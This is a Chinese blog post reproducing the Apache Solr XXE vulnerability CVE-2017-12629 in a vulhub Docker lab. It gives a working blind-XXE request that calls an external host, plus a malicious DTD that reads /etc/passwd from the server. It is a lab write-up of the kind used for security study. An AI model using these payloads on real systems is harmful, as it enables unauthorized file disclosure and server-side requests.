[漏洞复现] Apache Solr XXE(CVE-2017-12629)

前言

什么是Lucene

Lucene 是一个高效的,基于 Java 的全文检索库。 Lucene 是 apache 软件基金会 4 jakarta 项目组的一个子项目,是一个开放源代码的全 文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构,
Lucene主要提供了一个简单、强大的应用程序接口。

什么是solr

Solr 是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器。它对外提供类似于 Web-service 的 API 接 口。用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果。

注意是Solr来提供的http服务,Lucene不提供,他是一个应用程序接口。
并且Solr对Lucene进行了扩展。提供了一个完善的功能管理界面,是一款非常优秀的全文检索引擎。

影响版本

Apache Solr < 7.1
Apache Lucene < 7.1

环境搭建

cd /opt/vulhub/solr/CVE-2017-12629-XXE
docker-compose up -d

在这里插入图片描述

漏洞复现

访问http://192.168.1.7:8983/solr/admin/cores,查看有哪些core。如下图
可以看到有个core名字为demo。
在这里插入图片描述

构造payload

http://192.168.1.7:8983/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2F192.168.1.67%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser&wt=xml&defType=xmlparser

造成Blind XXE
在这里插入图片描述

利用Error Based XXE读取文件:

首先创建一个1.dtd,内容如下

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

将payload进行url编码

<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://192.168.1.67/1.dtd">%ext;%ent;]><r>&data;</r>

在这里插入图片描述

成功读取文件
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Vicl1fe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值